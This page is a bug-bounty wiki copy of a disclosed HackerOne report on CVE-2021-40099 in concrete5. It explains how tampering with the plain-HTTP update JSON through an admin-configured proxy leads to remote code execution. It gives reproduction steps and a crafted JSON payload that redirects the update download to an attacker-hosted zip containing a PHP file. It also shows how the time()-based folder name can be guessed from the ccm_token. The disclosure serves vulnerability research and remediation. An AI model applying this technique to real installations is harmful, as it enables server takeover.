Skip to content
RCE Disclosed report Intermediate CVE-2021-40099

Fetching the update json scheme from concrete5 over HTTP leads to remote code execution

concrete5 fetched its update JSON over HTTP, letting an attacker who controls the proxy tamper with the download URL and version, leading to remote code execution via a malicious update that is unzipped and reachable from the web root.

pabl00nicarres Follow

Originally disclosed on HackerOne

High 7.6 View original
  • Triaged in 22 days
  • Fixed in 12 months
  • Disclosed after 12 months

Hi, I noticed that concrete5 fetches the update JSON scheme from www.concrete5.org over HTTP. The fetched json defines the download URL, so we can simply tamper with this JSON in order to make the update URL point to a server controlled by us. Combining this with the possibility to set an arbitrary proxy for outgoing communications leads to RCE.

Privileges required: Administrator Preconditions: the directory "updates" has to be writable from the application. Magic word for submitting the report: crayons

Here the steps to reproduce:

  • Login with a user with Administrator privileges.
  • Set the proxy to an attacker controlled proxy (here I used a Burp instance for the sake of simplicity).
concrete5_proxysetting.png
concrete5_proxysetting.png From the original on HackerOne
  • Write proxy rules to modify both request and answer. With Burp this comes trivial, I used the "match and replace" functionality.
concrete5_matchnreplace_proxyrules.png
concrete5_matchnreplace_proxyrules.png From the original on HackerOne

Here I explain the rules: The first rule replaces the actual version "8.5.4" with version 8, so we can obtain a response from concrete5 with a valid json to tamper with. The second rule changes the json field "Direct Download URL" with an arbitrary host controlled by the attacker. The third rule changes the json field "version" to a new version, to bypass the internal control logic making the application to believe there's a new update available. Of course, we could simply provide a crafted json in the response, like this:

{"version":"8.6","notes":"RCE","notes_url":"https:\/\/documentation.concrete5.org\/developers\/background\/version-history\/821-release-notes","identifier":"8.6","date":"2017-08-02","direct_download_url":"http:\/\/192.168.1.170:8000\/test.zip"}
  • Set a webserver with a zipped file. Here I used test.zip, which contains the file "poc.php".
  • Perform the update check letting our proxy tamper with request/answer and then click on the download button.
  • Verify that our fake update has been downloaded from our rogue server, successfully unzipped and is reachable from the web root (in the example below I downloaded it multiple times).
rouge_server_contacted.png
rouge_server_contacted.png From the original on HackerOne
updates_directory.png
updates_directory.png
  • The only issue in this procedure is that the application writes the unzipped update in a directory and the name of this directory is generated by the PHP native function time().
Screenshot_(459).png
Screenshot_(459).png From the original on HackerOne

It could be easy to guess this value for an attacker but still pretty annoying, iterating over a number of values. Luckily for us the application token "ccm_token" is generated using the very same "time()" function. We can just perform an unauthenticated request (or whatever request returns the aforementioned token in a web page) knowing the time function output in that moment.

ccm_token.png
ccm_token.png From the original on HackerOne

Doing this, an attacker just needs to perform 2 or 3 requests for nearby time values in order to guess the name of the folder, making this completely reliable from the attacker perspective.

Thanks Paolo Serracino

Impact

Remote Code Execution

The original report as published on HackerOne, by pabl00nicarres. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the update JSON was fetched over plain HTTP without integrity verification, and the application allowed an arbitrary proxy to be configured, enabling tampering.

Impact

Remote code execution, but requires administrator privileges and a writable updates directory.

What the attacker needed

Administrator privileges; Writable 'updates' directory; Ability to set a proxy

How it was found

  1. Log in with an administrator account.
  2. Set the proxy to an attacker-controlled proxy.
  3. Configure proxy rules to modify the update request and response.
  4. Host a malicious zip file on a web server.
  5. Perform the update check and click the download button.
  6. Verify the fake update is downloaded, unzipped, and reachable.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The application downloaded update information over an insecure connection, so someone who could intercept that traffic could change the download link to point to their own malicious file. When the application installed that fake update, it unzipped the attacker's file into a reachable directory.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by pabl00nicarres

View all

3 more disclosed reports, best first.

More from Concrete CMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.